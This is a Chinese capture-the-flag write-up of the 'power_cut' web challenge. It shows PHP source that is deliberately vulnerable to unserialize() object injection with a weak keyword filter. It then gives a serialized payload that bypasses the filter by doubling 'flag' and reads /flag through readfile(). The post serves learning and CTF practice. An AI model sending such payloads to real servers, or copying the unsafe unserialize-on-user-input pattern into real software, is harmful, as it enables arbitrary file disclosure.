"津门杯"--WEB(power_cut)

2021-12-20 20:54:45 浏览数 (1)

最近在学习反序列化,然后最近也有一个"津门杯"的CTF比赛,我没有参加,看了前三名的战绩,真的是......MD太强了,然后看到其他大佬公布的writeup,发现有一道很简(kun)单(nan)的反序列化题目!!!就说web的"power_cut" 不说解题过程,直接就上代码

代码语言:javascript复制
<?php

class logger{
    public $logFile;
    public $initMsg;
    public $exitMsg;

    function __construct($file){
        // initialise variables
        $this->initMsg="#--session started--#n";
        $this->exitMsg="#--session end--#n";
//通过构造函数__construct($file)传入文件,并且赋给$this->logfile,然后readfile读取传入的文件
//此处有任意文件读取的嫌疑
        $this->logFile =  $file;
        readfile($this->logFile);

    }

    function log($msg){
        $fd=fopen($this->logFile,"a ");
        fwrite($fd,$msg."n");
        fclose($fd);
    }

    function __destruct(){
        echo "this is destruct";
    }
}

class weblog {
// 定义一个weblogfile的变量
    public $weblogfile;
    function __construct() {
    $flag="system('cat /flag')";
    echo "$flag";
    }

// 当外面使用了反序列化unserailze时,会优先调用__Wakeup
    function __wakeup(){
        // self::waf($this->filepath);

//此处是将实例化logger的类,其中logger类中有三个公开的函数,这里传入了一个weblogfile则意味着给logger中的public $logfile赋值了
//如果weblogfile是1,则public $logfile就等于1,以此类推
        $obj = new logger($this->weblogfile);
    }
    public function waf($str){
        $str=preg_replace("/[<>*#'|?n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }
    function __destruct(){
        echo "this is destruct";
    }
}
$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?n ]/","",$log);
//没有多次匹配指定的字符串,双写直接绕过
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>
<html>
<head></head>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>

观察以上代码之后,发现了logger类中使用readfile,这里可以读取文件 直接构造

代码语言:javascript复制
<?php
class weblog {
    public $weblogfile;
    function __construct() {
        $flag="system('cat /flag')";
        echo "$flag";
    }

    function __wakeup(){
        // self::waf($this->filepath);
        $obj = new logger($this->weblogfile);
    }

    public function waf($str){
        $str=preg_replace("/[<>*#'|?n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }

    function __destruct(){
        echo "this is destruct";
    }}
$a=new weblog("/flflagag");
$a->weblogfile='/flflagag';
print(serialize($a));

解析:实例化weblog的类,并且赋值给a然后给a->weblogfile赋值为/flflagag,此处为双写,主要是为了绕过str=str_replace('flag',',$str);

最后序列化出来 :O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flflagag";}

将这个通过log传入进去,url/?log=O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flflagag";}

将会执行反序列化,反序列化的话,将会检查类中有没有__wakeup的魔术方法,有的话,将会先执行__wakeup的内容,也就是$obj = new logger($this->weblogfile);'这个代码的意思就是实例化logger类,然后传入

传入之后,logger的$logfile就等于/flflagag,然后继续执行构造函数__construct($file),,其中的file就是等于

好吧,这次总结地还是有一点点瑕疵,看了别人地writeup才审计出来的,害~这就是菜吧

注意:部分图片源自于网络,如有侵权,请联系删除!!!谢谢

0 人点赞